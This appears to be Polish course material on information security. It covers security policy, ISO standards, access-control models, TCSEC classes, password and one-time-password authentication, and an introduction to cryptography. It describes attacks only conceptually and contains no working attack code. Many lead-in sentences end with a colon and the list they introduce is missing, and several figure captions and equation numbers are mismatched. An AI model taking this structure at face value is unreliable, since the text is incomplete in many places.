Przykłady ataków na systemy informatyczne znaleźć można w wielu dziedzinach życia osobistego, gospodarki, przemysłu czy funkcjonowania organów państwowych. Przykładowo w 1997 r. CIWARS (Centre for Infrastructural Warfare Studies) odnotował 2 incydenty (w Brazylii i w Australii) zaciekłej konkurencji gospodarczej, w których zaatakowały się wzajemnie (omawianymi później atakami SYN flood) konkurujące ze sobą firmy ISP (operatorzy dostępu do Internetu). Jako działania anarchistyczne można sklasyfikować przykładowo incydent z 1997 r., w którym grupa Damage Inc. zastąpiła witrynę Urzędu Rady Ministrów stroną proklamującą utworzenie Hackrepubliki Polskiej i Centrum Dezinformacyjnego Rządu z odsyłaczami do playboy.com. Być może jako terroryzm natomiast - incydent z 1998 r., gdy w akcie protestu przeciwko próbom nuklearnym grupa Milw0rm zaatakowała systemy indyjskiego BARC (Bhabba Atomic Research Center).
Elementarne składniki systemu informatycznego jakie należy wyróżnić przy omawianiu problematyki bezpieczeństwa to:
Problematyka bezpieczeństwa, jak każda dziedzina, podlega pewnym ogólnym prawom, niektórym sformalizowanym, innym - nieformalnym. Można wyróżnić pewne truizmy obowiązujące podczas projektowania i realizowania zabezpieczeń. Niektóre z nich to:
Skoro zatem nie mamy 100% bezpieczeństwa, jaki jego poziom można uznać za zadowalający? Otóż wydaje się, że najwłaściwszą odpowiedzią na to pytanie jest - taki, który okaże się dla atakującego na tyle trudny do sforsowania, wymagając operacji żmudnych lub czasochłonnych, iż uczyni to atak nieatrakcyjnym lub nieekonomicznym (lub oczywiście nieopłacalnym wg innego kryterium obranego przez atakującego). Zatem należy na tyle utrudnić włamywaczowi atak, aby z niego zrezygnował widząc marne, choć nadal niezerowe, szanse powodzenia.
Wzrost poziomu bezpieczeństwa odbywa się kosztem wygody. Użytkownicy systemu pragną przede wszystkim efektywności i wygody swojej pracy.
Opracowanie skutecznych zabezpieczeń jest problemem bardzo złożonym. Wymaga uwagi i systematyczności na każdym etapie. Niewątpliwie decydujące znaczenia ma etap projektowy, na którym popełnione błędy mogą być nienaprawialne w kolejnych etapach. Etap projektowy powinien rozpocząć się od wypracowania strategii firmy dotyczącej bezpieczeństwa (i to nie wyłącznie systemu informatycznego). Polega to w ogólnym schemacie na odpowiedzi na następujące pytania:
Zasoby jakie mogą podlegać ochronie obejmują m.in. (w zależności od typu instytucji, dziedziny działalności itp.):
Zagrożenia jakie należy rozważyć stanowią m.in.:
Polityka bezpieczeństwa stanowi element polityki biznesowej firmy. Jest to formalny dokument opisujący strategię bezpieczeństwa. Jej realizacja podlega oczywistym etapom:
Szczególnie godnym podkreślenia jest etap 3. odzwierciedlający ciągłą ewolucję jaką przechodzą działalność firmy, środowisko rynkowe jej funkcjonowania, zagrożenia i technologie obrony. Wymaga to ciągłego "trzymania ręki na pulsie".
Zakres tematyczny jaki powinna obejmować polityka bezpieczeństwa to:
Polityka bezpieczeństwa winna definiować środki jej realizacji obejmujące takie elementy jak:
Istnieje wiele dokumentacji poświęconej realizacji polityki bezpieczeństwa, w tym również norm i standardów międzynarodowych, którymi należy posiłkować się przy opracowywaniu własnej polityki bezpieczeństwa. Pod tym względem kanonem jest norma ISO/IEC Technical Report 13335 (ratyfikowana w naszym kraju jako PN-I-13335). Norma ta jest dokumentem wieloczęściowym obejmującym następujące zagadnienia:
Jednakże norm ISO dotyczących bezpieczeństwa jest wiele. Można tu wymienić chociażby bogaty podzbiór (wycinek listy do roku 1995):
ISO 2382-8:1986 Information processing systems - Vocabulary - Part 08: Control, integrity and security ISO 6551:1982 Petroleum liquids and gases - Fidelity and security of dynamic measurement - Cabled transmission of electric and/or electronic pulsed data ISO 7498-2:1989 Information processing systems - Open Systems Interconnection - Basic Reference Model - Part 2: Security Architecture ISO/IEC 7816-4:1995 Information technology - Identification cards - Integrated circuit(s) cards with contacts - Part 4: Interindustry commands for interchange ISO/IEC 9796:1991 Information technology - Security techniques - Digital signature scheme giving message recovery ISO/IEC 9797:1994 Information technology - Security techniques - Data integrity mechanism using a cryptographic check function employing a block cipher algorithm ISO/IEC 9798-1:1991 Information technology - Security techniques - Entity authentication mechanisms - Part 1: General model ISO/IEC 9798-2:1994 Information technology - Security techniques - Entity authentication - Part 2: Mechanisms using symmetric encipherment algorithms ISO/IEC 9798-3:1993 Information technology - Security techniques - Entity authentication mechanisms - Part 3: Entity authentication using a public key algorithm ISO/IEC 9798-4:1995 Information technology - Security techniques - Entity authentication - Part 4: Mechanisms using a cryptographic check function ISO/IEC 10118-1:1994 Information technology - Security techniques - Hash-functions - Part 1: General ISO/IEC 10118-2:1994 Information technology - Security techniques - Hash-functions - Part 2: Hash-functions using an n-bit block cipher algorithm ISO/IEC 10164-7:1992 Information technology - Open Systems Interconnection - Systems Management: Security alarm reporting function ISO/IEC 10164-8:1993 Information technology - Open Systems Interconnection - Systems Management: Security audit trail function ISO/IEC DIS 10181-1 Information technology - Open Systems Interconnection - Security Frameworks for Open Systems: Overview ISO/IEC DIS 10181-2 Information technology - Open Systems Interconnection - Security frameworks for open systems: Authentication framework ISO/IEC DIS 10181-3 Information technology - Open Systems Interconnection - Security frameworks in open systems - Part 3: Access control ISO/IEC DIS 10181-4 Information technology - Open Systems Interconnection - Security frameworks in Open Systems - Part 4: Non-repudiation ISO/IEC DIS 10181-5 Information technology - Security frameworks in open systems - Part 5: Confidentiality ISO/IEC DIS 10181-6 Information technology - Security frameworks in open systems - Part 6: Integrity ISO/IEC DIS 10181-7 Information technology - Open Systems Interconnection - Security Frameworks for Open Systems: Security Audit Framework ISO/IEC 10736:1995 Information technology - Telecommunications and information exchange between systems - Transport layer security protocol ISO/IEC 10745:1995 Information technology - Open Systems Interconnection - Upper layers security model ISO 11166-1:1994 Banking - Key management by means of asymmetric algorithms - Part 1: Principles, procedures and formats ISO 11166-2:1994 Banking - Key management by means of asymmetric algorithms - Part 2: Approved algorithms using the RSA cryptosystem ISO 11442-1:1993 Technical product documentation - Handling of computer-based technical information - Part 1: Security requirements ISO/IEC 11577:1995 Information technology - Open Systems Interconnection - Network layer security protocol ISO/IEC DIS 11586-1 Information technology - Open Systems Interconnection - Generic upper layers security: Overview, models and notation ISO/IEC DIS 11586-2 Information technology - Open Systems Interconnection - Generic upper layers security: Security Exchange Service Element (SESE) service specification ISO/IEC DIS 11586-3 Information technology - Open Systems Interconnection - Generic upper layers security: Security Exchange Service Element (SESE) protocol specification ISO/IEC DIS 11586-4 Information technology - Open Systems Interconnection - Generic upper layers security: Protecting transfer syntax specification ISO/IEC DIS 11586-5 Information technology - Open Systems Interconnection - Generic Upper Layers Security: Security Exchange Service Element Protocol Implementation Conformance Statement (PICS) ISO/IEC DIS 11586-6 Information technology - Open Systems Interconnection - Generic Upper Layers Security: Protecting Transfer Syntax Implementation Conformance Statement (PICS) ISO/IEC DIS 11770-1 Information technology - Security techniques - Key management - Part 1: Framework ISO/IEC DIS 11770-2 Information technology - Security techniques - Key management - Part 2: Mechanisms using symmetric techniques ISO/IEC DISP 12059-7 Information technology - International Standardized Profiles - OSI Management - Common information for management functions - Part 7: Security alarm reporting ISO/IEC DISP 12059-8 Information technology - International Standardized Profiles - OSI Management - Common information for management functions - Part 8: Security audit trail ISO/IEC DISP 12060-6 Information technology - International Standardized Profiles - OSI Management - Management functions - Part 6: Security management capabilities ISO/IEC DTR 13335-1 Information technology - Guidelines for the management of IT security - Part 1: Concepts and models for IT security ISO/IEC DTR 13335-2 Information technology - Guidelines for the management of IT security - Part 2: Planning and managing IT security (Future Technical Report) ISO/IEC DTR 13335-3 Information technology - Guidelines for the management of IT security - Part 3: Techniques for the management of IT security ISO/IEC TR 13594:1995 Information technology - Lower layers security ISO/IEC DIS 14980 Information technology - Code of practice for information security management
[1] Simson Garfinkel, "Practical Unix and Internet Security", II ed., O'Reilly, 2003
Pod względem interakcji atakującego z atakowanym systemem wyróżniamy ataki:
Pod względem źródła rozpoczęcia ataku wyróżniamy ataki:
Najczęściej spotykanymi formami ataku są:
Konkretne przypadki ataków ewoluują wraz z rynkiem informatycznym. Można np. przedstawić rys historyczny prawdopodobnie najbardziej typowych ataków przeprowadzanych w Internecie na przestrzeni ostatnich lat:
W czasie przeprowadzania ataku pojawiają się zwykle mniej lub bardziej jawnie następujące ogólne fazy:
W celu zminimalizowania podatności na typowe ataki należy stosować elementarne zasady „higieny osobistej". Dotyczą one wszystkich komponentów systemu informatycznego, stanowisk komputerowych, infrastruktury sieciowej , usług aplikacyjnych.
Do podstawowych środków ochrony stanowisk komputerowych można zaliczyć przykładowo:
Do podstawowych środków ochrony infrastruktury sieciowej można zaliczyć przykładowo:
Procedura ochrony dostępu do usług sieciowych polega w ogólności na skrupulatnym przeprowadzeniu następującej sekwencji operacji:
Z realizacją zabezpieczeń związany jest szereg problemów, stawiających broniących od razu na pozycji gorszej niż atakującego. Dotyczą one m.in. asymetrii obrony i ataku, konieczności uwzględniania kontekstu całego otoczenia celu zabezpieczeń oraz trudności utrzymania poprawności zabezpieczeń (zarządzania i pielęgnacji).
Aby skutecznie zabezpieczyć system należy usunąć ''wszystkie'' słabości,
aby skutecznie zaatakować - wystarczy znaleźć ''jedną''.
Bezpieczeństwo powinno być rozważane w kontekście nie pojedynczego systemu informatycznego, ale całego otoczenia, w którym on się znajduje.
Zabezpieczenie systemu nie jest pojedynczą operacją, ale ciągłym procesem.
W związku z w/w trudnościami realizacji zabezpieczeń istotne jest stosowanie kilku podstawowych reguł, w szczególności są to:
Zabezpieczenie nie możne być postrzegane przez użytkowników jako nienaturalny element systemu, stanowiący utrudnienie w ich pracy. Jeśli wprowadzony zostanie nawet najbardziej wyrafinowany mechanizm bezpieczeństwa, którego jednak stosowanie będzie wymagało od użytkowników dodatkowo zbyt obciążających ich (czasochłonnych) operacji, to wkrótce wypracują oni sposób jego permanentnego obejścia i - w efekcie stanie się ów mechanizm bezużyteczny.
Stosowanie zabezpieczeń w systemie musi zapewniać podstawowy warunek kompletności: spójność poziomą i pionową. Są one odpowiednikiem reguły „trwałości łańcucha", która mówi, iż cały łańcuch jest tak trwały, jak jego najsłabsze ogniwo. Spójność pozioma wymaga aby wszystkie, spośród potencjalnie wielu komponentów w danej warstwie systemu (jako dobry przykład modelu warstwowego można tu obrać model OSI obowiązujący w sieciach komputerowych), zostały zabezpieczone na jednakowym poziomie. W życiu codziennym spotykamy przykłady tej reguły - gdy zabezpieczamy okna pomieszczenia kratami, to wszystkie, a nie co drugie, gdy budujemy ogrodzenie, to do wysokości identycznie trudniej do sforsowania na całej jego długości. Gdy zabezpieczamy protokoły komunikacyjne danej warstwy modelu OSI, którymi posługuje się nasz system, to wszystkie niezbędne, a nie tylko jeden wybrany, choćby był on popularniejszy i częściej wykorzystywany od pozostałych.
Spójność pionowa mówi o konieczności zastosowania kompletnych zabezpieczeń „w pionie" - jak kraty w oknach na pierwszym piętrze, to i na parterze czy innej „dostępnej" z zewnątrz kondygnacji, analogicznie - jak jedna warstwa przez którą istnieje dostęp do systemu, to każda inna, w której niezależnie taki dostęp też jest możliwy.
Użytkownikom należy udzielać uprawnień w sposób zgodny z polityką bezpieczeństwa - tylko i wyłącznie takich, które są niezbędne do zrealizowania ich pracy. Zmianie zakresu obowiązków użytkownika powinna towarzyszyć zmiana zakresu uprawnień.
Jeśli na podstawie zdefiniowanych reguł postępowania mechanizmy obrony nie potrafią jawnie rozstrzygnąć, jaką decyzję podjąć wobec analizowanych operacji (np. nadchodzącego pakietu protokołu komunikacyjnego), to decyzją ostateczną powinna być odmowa dostępu (odrzucenie pakietu). Wiele urządzeń i protokołów jest jednak domyślnie konfigurowanych inaczej, czy to w celu wygody użytkownika, czy z założenia wynikającego z ich funkcji (por. routing).
W celu przedstawienia problematyki ataku i obrony należy wprowadzić definicje niezbędnych pojęć. Dotyczyć one będą w szczególności użytkowników, ale także i innych komponentów systemu.
Z procesem autoryzacji związane są kolejne pojęcia:
W dowolnym modelu autoryzacji można stosować jedną z poniższych czterech możliwych filozofii:
Z praktycznego punktu widzenia w grę wchodzić mogą środkowe dwie. Jak można zaobserwować, tylko trzecia jest zgodna z zasadą minimalnego przywileju i domyślnej odmowy dostępu.
Wyróżnia się dwie ogólne metody kontroli dostępu do danych: uznaniową (DAC) i ścisłą. (MAC) Istnieją też ich różne warianty - jak np. kontrola oparta o role (RBAC) powszechnie spotykana np. systemach baz danych.
Podstawowe własności tego podejścia są następujące:
Podstawowe własności tego podejścia są następujące:
Ścisła kontrola dostępu operuje na tzw. poziomach zaufania wprowadzając etykiety poziomu zaufania (sensitivity labels) przydzielane w zależności np. od stopnia poufności. Mogą one być następjące:
ogólnie dostępne < do użytku wewn. < tylko dyrekcja < tylko zarząd
czy w innego typu instytucji:
jawne < poufne < tajne < ściśle tajne
Oprócz poziomu zaufania, każdy zasób posiada kategorię przynależności danych. Kategorie te nie są hierarchiczne i reprezentują jedynie rodzaj wykorzystania danych, np.:
FINANSOWE, OSOBOWE, KRYPTO, MILITARNE
W celu określenia uprawnień w systemach MAC są konstruowane etykiety ochrony danych. Składają się one z 2 parametrów: poziomu zaufania i kategorii informacji, np.
(tajne, {KRYPTO}) (ściśle tajne, {KRYPTO,MILITARNE})
Na zbiorze etykiet ochrony danych określona jest relacja wrażliwości:
(ściśle tajne, {KRYPTO,MILITARNE}) -> (tajne, {KRYPTO})
Jest to relacja częściowego porządku, nie wszystkie etykiety do niej należą. Przykładowo może nie być określona relacja pomiędzy etykietą:
(ściśle tajne, {KRYPTO,MILITARNE})
a etykietą:
(tajne, {FINANSOWE,KRYPTO})
Wobec podmiotów i zasobów w systemie MAC narzucone są niezmienne reguły, które wymusza system. Podmiot nie może mianowicie czytać danych o wyższej etykiecie (read-up) niż swoja aktualna. Podmiot nie może również zapisywać danych o niższej etykiecie (write-down) niż swoja aktualna. Zbiór reguł przedstawia rysunek:
MAC 1:Użytkownik może uruchomić tylko taki proces, który posiada etykietę nie wyższą od aktualnej etykiety użytkownika. MAC 2:Proces może czytać dane o etykiecie nie wyższej niż aktualna etykieta procesu. MAC 3:Proces może zapisać dane o etykiecie nie niższej niż aktualna etykieta procesu.
Reguły MAC
W historii dziedziny bezpieczeństwa systemów komputerowych od początku starano się stworzyć reguły klasyfikacji systemów. Opracowano standardy certyfikacji:
Poniżej zostaną przedstawione wymagania klas bezpieczeństwa systemów komputerowych wg oryginalnej propozycji TCSEC "Orange Book". Schematyczne porównanie klas różnych standardów można znaleźć w tablece 1.
KLASA WŁASNOŚCI
Tabelka 1. Porównanie klas bezpieczeństwa systemów komputerowych
TCSEC | ITCES | CC / EAL |
---|---|---|
D | E0 | EAL1 |
C1 | E1, F-C1 | EAL2 |
C2 | E2, F-C2 | EAL3 |
B1 | E3, F-B1 | EAL4 |
B2 | E4, F-B2 | EAL5 |
B3 | E5, F-B3 | EAL6 |
A1 | E6, F-B3 | EAL7 |
Popularne systemy operacyjne plasują się na różnych poziomach klas bezpieczeństwa. Trzeba zaznaczyć, iż uzyskanie certyfikatu danej klasy jest operacją formalną i odpłatną.
Często wyróżnia się 3 podstawowe własności bezpieczeństwa informacji, których zachowanie jest konieczne w większości zastosowań systemów informatycznych. Są to poufność, nienaruszalność i dostępność informacji (rysunek 1).
Rysunek '1'. Trzy podstawowe własności bezpieczeństwa informacji
Zajmiemy się teraz omówieniem wybranych zagrożeń związanych z tymi trzema własnościami oraz krótkim przedstawieniem mechanizmów stosowanych w celu osiągnięcia tych własności.
Poufność, rozumiana - jak wiemy - jako ochrona przed nieautoryzowanym ujawnieniem (odczytem) informacji, narażona jest na ataki poprzez:
Szczególny nacisk można położyć na szeroko rozumiany podsłuch, który dotyczy nie tylko oczywistego przypadku transmisji danych. Należy podkreślić techniczną możliwość podsłuchu zdalnego większości urządzeń infrastruktury systemu komputerowego, poprzez tzw. receptory Van Ecka. Dotyczy to urządzeń emitujących promieniowanie elektromagnetyczne (jak np. monitory ekranowe, szczególnie starszego typu - CRT). Zatem ten rodzaj podsłuchu stanowi teoretyczne zagrożenie również dla danych składowanych oraz przetwarzanych na stanowiskach komputerowych, niezależnie od komunikacji sieciowej.
W celu ochrony informacji przed jej nieautoryzowanym odczytem należy przede wszystkim umieć określić czy zamierzony odczyt jest autoryzowany oraz zminimalizować prawdopodobieństwo „wycieku" danych poza mechanizmem kontroli dostępu (w transmisji). Zatem mechanizmy obrony stosowane do zapewnienia poufności realizować będą następujące zadania:
Omówimy kolejno problematykę wymienionych zadań i pokażemy przykłady mechanizmów, które je realizują.
W systemach informatycznych stosuje się następujące rodzaje uwierzytelniania:
W przypadku wielu współczesnych środowisk informatycznych, systemów operacyjnych lub systemów zarządzania bazami danych, funkcjonuje klasyczny mechanizm uwierzytelniania poprzez hasło. Proces uwierzytelniania rozpoczyna klient żądając zarejestrowania w systemie (login). Serwer pyta o identyfikator (nazwę) użytkownika, a następnie o hasło
i decyduje o dopuszczeniu do sieci. W większości przypadków nazwa użytkownika i hasło są przesyłane tekstem jawnym, co stanowić może kolejny problem zapewnienia poufności, jaką właśnie mamy osiągnąć stosując opisywany mechanizm. Stąd też takie klasyczne podejście nadaje się do wykorzystania jedynie w ograniczonej liczbie przypadków, kiedy np. mamy uzasadnioną skądinąd pewność wykluczenia możliwości podsłuchu danych uwierzytelniających.
Rysunek '5'. Klasyczne uwierzytelnianie użytkownika
Hasła nie są najefektywniejszą, ani najbezpieczniejszą formą weryfikacji tożsamości użytkownika, z następujących powodów
Hasła są przedmiotem ataków - słownikowego i metodą przeszukiwania wyczerpującego. Słownikowy atak polega na podejmowaniu kolejnych prób zweryfikowania czy hasło wybierane ze zbioru popularnie stosowanych haseł (tzw. słownika) odpowiada hasłu aktualnie ustawionemu dla konta będącego celem ataku. Wariantem tego ataku jest wykradzenie nawet zakodowanych danych uwierzytelniających z systemu, aby po weryfikować czy kolejne hasła ze słownika dają po odpowiednim zakodowaniu którąś z postaci przechowywanych w systemie.
Przykładem analizy podatności haseł na atak słownikowy jest kilkukrotnie wykonane badanie, znane powszechnie jako raport Kleina. Operacje wykonywane w tym badaniu doskonale odzwierciedlają metodologię tworzenia słownika i mogą być doskonałą ilustracją zagrożeń wynikających z wyboru słabych haseł. W skrócie opisując Klein wykonał następujące operacje służące do uzyskania słownika haseł:
Z tak przygotowanym słownikiem zrealizowano atak na hasła użytkowników w rzeczywistym systemie. Efekty przedstawia poniższa lista trafień haseł (fragment) ze słownika wg poszczególnych kategorii (bez uwzględniania wśród nich przekształceń i kombinacji):
Wszystkie wymienione kategorie (nie jest to lista kompletna) należy uznać, jak widać, za słabe hasła i wystrzegać się ich przy wyborze własnego.
Przeszukiwanie wyczerpujące („atak brutalny") polega kolejnym weryfikowaniu całej przestrzeni haseł, czyli wybieraniu wszystkich możliwych permutacji znaków z alfabetu wykorzystywanego przy ustawianiu hasła użytkownika. Taki atak jest oczywiście kosztowny czasowo - wymaga prób dopasowania każdej permutacji do odgadywanego hasła, co zależy od wielkości alfabetu i długości hasła (rozmiaru przestrzeni haseł).
Prawdopodobieństwo odgadnięcia hasła wyraża wzór (1):
\(P = \frac{L \cdot R}{S}\) (0)
Uwzględniając zagrożenia wynikające z przedstawionych ataków na hasła, można zaproponować następujące „żelazne reguły" higieny haseł:
W środowisku sieci TCP/IP wypracowano mechanizm prostego potwierdzania tożsamości użytkownika, który żąda zdalnego uwierzytelniania. W tym celu powstał standard RFC 1413 opisujący usługę o nazwie ident. Niezależnie od jej aktualnej przydatności i powszechności warto zdawać sobie sprawę z istoty jej działania, którą łatwo opisać w następujący sposób:
Rysunek '6'. Klasyczne uwierzytelnianie użytkownika
Należy też zdawać sobie sprawę z potencjalnych zagrożeń jakie niesie udostępnianie przez usługę ident informacji o przynależności procesów dokonujących komunikacji sieciowej (nie tylko klientów). W standardzie RFC 1413 oraz w praktycznych implementacjach nie realizuje się bowiem uwierzytelniania podmiotu żądającego informacji z tej usługi, może ona być zatem również nadużyta przez potencjalnego włamywacza.
Procedury uwierzytelniania jednokrotnego są częściowym rozwiązaniem problemu ochrony danych uwierzytelniających przed złamaniem w systemie wielozasobowym, np. sieci komputerowej z wieloma serwerami.
Ideą procedury uwierzytelniania jednokrotnego jest minimalizacja ilości wystąpień danych uwierzytelniających w systemie - hasło powinno być podawana jak najrzadziej. Zgodnie z tą zasadą, jeśli jeden z komponentów systemu (np. system operacyjny) dokonał pomyślnie uwierzytelniania użytkownika, pozostałe komponenty (np. inne systemy lub zarządcy zasobów) ufać będą tej operacji i nie będą samodzielnie wymagać podawania ponownie danych uwierzytelniających. Przy tym jest możliwe teoretycznie, że wszystkie komponenty samodzielnie korzystają z odmiennych mechanizmów uwierzytelniana. Wówczas, dodatkowo po pierwszorazowym uwierzytelnieniu użytkownika, system może oddelegować specjalny moduł do przechowywania odrębnych danych uwierzytelniających użytkownika i poświadczania w przyszłości jego tożsamości wobec innych komponentów systemu.
Schemat SSO przedstawia rysunek 7. W przedstawionej na rysunku sytuacji tylko jeden serwer dokonuje uwierzytelniania klienta, reszta ufa uwierzytelnianiu dokonanemu przez ten serwer.
Rysunek '7'. Uwierzytelnianie jednokrotne (SSO)
Istota wykorzystania haseł jednorazowych wynika zamiaru ochrony ich przed przechwyceniem i nieautoryzowanym wykorzystanie, w przyszłości. Jednak nie polega na zapewnieniu ich poufności w transmisji lecz na uczynieniu ich de facto bezwartościowymi po przechwyceniu. Opiera się na, jak sama nazwa wskazuje, tylko użyciu danej postaci hasła tylko raz. Hasła jednorazowe mają przy każdym kolejnym uwierzytelnieniu inną postać. Raz przechwycone hasło jednorazowe nie jest przydatne, bowiem przy kolejnym uwierzytelnieniu będzie obowiązywać już inne. Komunikacja między podmiotami procesu uwierzytelniania może być zatem jawna. Stosujące takie hasła procedury uwierzytelniania muszą jedynie oferować brak możliwości odgadnięcia na podstawie jednego z haseł, hasła następnego.
Hasła jednorazowe generowane są przy pomocy listy haseł, synchronizacji czasu lub metody zawołanie-odzew. Dostępne są najczęściej w następujących postaciach: listy papierowe, listy-zdrapki, tokeny programowe i tokeny sprzętowe.
Listy haseł to najprostsza i najtańsza metoda identyfikacji metodą haseł jednorazowych. Użytkownik otrzymuje listę zawierająca ponumerowane hasła. Ta sama lista zostaje zapisana w bazie systemu identyfikującego. W trakcie logowania użytkownik podaje swój identyfikator, a system prosi o podanie hasła z odpowiednim numerem. Klient za każdym razem posługuje się kolejnym niewykorzystanym hasłem z listy.
Rysunek '8'. Uwierzytelnianie metodą listy haseł jednorazowych
W metodzie z synchronizacją czasu (time synchronization) klient generuje unikalny kod w funkcji pewnego parametru X użytkownika (identyfikatora, kodu pin, hasła, numeru seryjnego karty identyfikacyjnej) oraz bieżącego czasu. Serwer następnie weryfikuje otrzymany od klienta kod korzystając z identycznej funkcji (z odpowiednią tolerancją czasu).
Rysunek '9'. Uwierzytelnianie metodą z synchronizacją czasu
Natomiast w metodzie zawołanie-odzew (challenge-response) serwer pyta o nazwę użytkownika, a następnie przesyła unikalny ciąg („zawołanie"). Klient koduje otrzymany ciąg (np. swoim hasłem lub innym tajnym parametrem pełniącym rolę klucza) i odsyła jako „odzew". Serwer posługując się identycznym kluczem weryfikuje poprawność odzewu.
Rysunek '10'. Uwierzytelnianie metodą listy haseł jednorazowych
Tokeny programowe to specjalne programy generujące hasła. W zależności od implementacji program na podstawie kwantu czasu lub zawołania serwera generuje hasło jednorazowe, które weryfikuje serwer.
Token sprzętowy jest małym przenośnym urządzeniem spełniającym wszystkie funkcje tokenu programowego.
Pewną ciekawostką zyskującą na popularności jest wykorzystanie telefonu komórkowego w uwierzytelnianiu za pomocą haseł jednorazowych. Cały proces polega przesłaniu hasła jednorazowego z serwera na telefon w postaci wiadomości SMS. W tym przypadku rola telefonu jako swoistego tokena sprowadza się tylko do medium odbierającego i wyświetlającego dane.
Do uwierzytelniania użytkowników można wykorzystać również przedmioty, których posiadaniem musi się wykazać uwierzytelniany. Mogą to być np. karty magnetyczne, karty elektroniczne czy tokeny USB. Ponadto, w przypadku ludzi, można posłużyć się również cechami osobowymi wynikającymi z odmienności parametrów niektórych naturalnych składników organizmu (uwierzytelnianie biometryczne), takich jak m.in.:
Zadania autoryzacji i kontroli dostępu legalnych użytkowników należą do podstawowych funkcji systemów operacyjnych czy systemów zarządzania bazą danych oraz środowisk przetwarzania rozproszonego. W większości przypadków te funkcje są realizowane podobnie.
Aktualnie jednym z najczęściej stosowanych mechanizmów weryfikacji praw dostępu jest lista kontroli dostępu, której implementacje, w zależności od konkretnego systemu, noszą nazwy ACL (Access Control List), ARL (Access Rights List) lub Trustees. Ogólna koncepcja działania mechanizmu listy kontroli polega na wyspecyfikowaniu dla każdego udostępnianego zasobu listy indywidualnych użytkowników lub ich grup bądź kategorii oraz przydzieleniu im podzbiorów uprawnień wybranych ze zbioru wszystkich uprawnień dostępnych dla danego zasobu (rysunek 11).
Rysunek '11'. Lista kontroli dostępu do pliku
W kolejnych modułach (<A HREF="bsk-m6.doc">moduł 6</A> i (<A HREF="bsk-m11.doc">moduł 11</A>) omówione zostaną przykłady realizacji autoryzacji i kontroli dostępu użytkowników wybranych systemów operacyjnych oraz systemów zarządzania bazą danych.
Atak poprzez podsłuch jest zwykle skierowany przeciwko określonym zasobom i ma konkretny cel (np. przechwycenie hasła, lub zawartości konkretnych plików). Atak taki w istocie polega na wykonaniu operacji umożliwiających dostęp do kanału transmisyjnego (wpięcie się do medium transmisyjnego, podłączenie do stacji bazowej sieci bezprzewodowej itp.) a następnie wyłuskaniu z całego ruchu odbywającego się w tym kanale informacji poszukiwanych.
Ogólna koncepcja utrudniania podsłuchu polega zatem na uczynieniu możliwie jak najbardziej kłopotliwym obu kroków ataku - wpięcia się do kanału komunikacyjnego i wyłuskania użytecznych danych. Operacje utrudniania podsłuchu obejmują:
Kolejnym po poufności aspektem bezpieczeństwa omawianym w tym module jest nienaruszalność informacji, rozumiana jako ochrona danych przed ich nieautoryzowanym zmodyfikowaniem (dostępem do zapisu, w odróżnieniu od poufności, która oznacza ochronę przed nieautoryzowanym dostępem do odczytu).
Zagrożeniem nienaruszalności informacji jest zatem celowa lub przypadkowa modyfikacja danych przez nieuprawnionych użytkowników bądź oprogramowanie (np. wirusowe).
Mechanizmy obrony stosowane do zapewnienia nienaruszalności informacji obejmują w szczególności:
Wśród zagrożeń nienaruszalności informacji należy wymienić przede wszystkim:
Mechanizmy kryptografii są powszechnie wykorzystywane w dziedzinie bezpieczeństwa systemów komputerowych. Stanowią bardzo uniwersalne narzędzie osiągania poufności, integralności czy autentyczności, są stosowane w procedurach uwierzytelniania, do ochrony danych składowanych i komunikacji sieciowej. Należą niewątpliwie do najważniejszych mechanizmów bezpieczeństwa.
Bieżący moduł przedstawia elementarne pojęcia dziedziny kryptografii i prezentuje podstawowe koncepcje algorytmów szyfracji. Celem dydaktycznym modułu jest wyrobienie intuicji działania popularnych technik kryptograficznych i ich własności. Kolejny moduł przedstawi podstawowe zastosowania mechanizmów kryptograficznych w informatyce.
Kryptografia jest dziedziną kryptologii - nauki operującej bardzo formalnym i relatywnie skomplikowanym aparatem matematycznym. Nie jest celem tego modułu przedstawienie tego aparatu, lecz jedynie przybliżenie istoty operacji szyfrowania i deszyfrowania. Wymaga to jednak minimalnej ilości jasno definiowanych terminów. Niniejszy rozdział przedstawia podstawowe pojęcia, które wykorzystywane będą w dalszej części modułu.
Kryptologia jest to wiedza naukowa obejmująca kryptografię i kryptoanalizę.
Kryptografia jest dziedziną obejmująca zagadnienia związane z utajnieniem danych (w kontekście przesyłania wiadomości i zabezpieczenia dostępu do informacji) przed niepożądanym dostępem. Przez utajnienie należy tu rozumieć taką operację, która powoduje że wiadomość jest trudna do odczytania (rozszyfrowania) przez podmiot nie znający tzw. klucza rozszyfrowującego - dla takiego podmiotu wiadomość będzie wyłącznie niezrozumiałym ciągiem wartości (znaków).
Kryptoanaliza natomiast to dziedzina kryptologii zajmująca się łamaniem szyfrów, czyli odczytywaniem zaszyfrowanych danych bez posiadania kluczy rozszyfrowujących.
Dane, które poddawane będą operacjom ochrony kryptograficznej nazywać tu będziemy po prostu tekstem jawnym lub wiadomością czytelną.
Kryptogramem (szyfrogramem) będziemy nazywali zaszyfrowaną postać wiadomości czytelnej.
Klucz szyfrowania to ciąg danych służących do szyfrowania wiadomości czytelnej w kryptogram za pomocą algorytmu szyfrowania. Klucz ten jest odpowiednio ustalany (uzgadniany) przez nadawcę w fazie szyfrowania.
Klucz rozszyfrowujący jest z kolei ciągiem danych służących do rozszyfrowania kryptogramu do postaci wiadomości czytelnej za pomocą algorytmu deszyfrowania. Naturalnie, klucz ten odpowiada w pewien sposób kluczowi szyfrowania wykorzystanemu w fazie szyfrowania.
W niektórych przypadkach będziemy mieli do czynienia z ciekawą własnością przemienności kluczy. Przemienność kluczy oznacza, że role dwóch kluczy z pary mogą ulec przestawieniu. Mianowicie informację zaszyfrowaną jednym kluczem można rozszyfrować tylko przy pomocy odpowiadającego mu drugiego klucza z pary, i odwrotnie, informację zaszyfrowaną drugim kluczem można rozszyfrować wyłącznie przy pomocy klucza pierwszego.
Teraz przejdziemy do zademonstrowania prostych operacji kryptograficznych, które wykorzystywane są również w bardzo skomplikowanych procesach szyfrowania i deszyfrowania. Świadomość ich funkcjonowania jest niezbędna dla zrozumienia istoty aktualnie wykorzystywanych algorytmów szyfrowania.
Szyfrowanie metodą podstawiania jest prawdopodobnie najprostszą koncepcją utajniania informacji. Było już stosowane w czasach antycznych. Przykładem a przykład może u posłużyć szyfr wykorzystywany przez Juliusza Cezara do utajniania korespondencji wojskowej, nazywany na jego cześć szyfrem Cezara (notabene jest to jedno z pierwszych nazwisk związanych z kryptografią).
